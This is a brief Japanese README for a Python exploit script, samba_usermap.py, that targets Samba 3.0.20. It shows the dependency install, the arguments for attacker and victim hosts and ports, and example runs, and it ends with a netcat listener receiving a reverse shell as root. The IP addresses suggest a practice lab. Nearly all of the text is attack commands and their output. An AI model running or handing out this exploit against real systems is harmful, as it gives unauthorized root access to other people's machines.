
Samba 3.0.20
· python3 でスクリプトを --help パラメータ付きで実行すると、一連のパラメータが要求されます
--lhost LHOST your host (ip where the shell will be received)
--lport LPORT your port (port where the shell will be received)
--rhost RHOST remote host (ip of the victim machine)
--rport RPORT remote port (port of the victim machine)
· スクリプトを実行する前に、次のコマンドを実行してください
pip3 install pysmb
· 例
python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
· または、次のようにも実行できます
python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139
· スクリプトの動作例
python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
· シェルが取得できます
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
whoami
root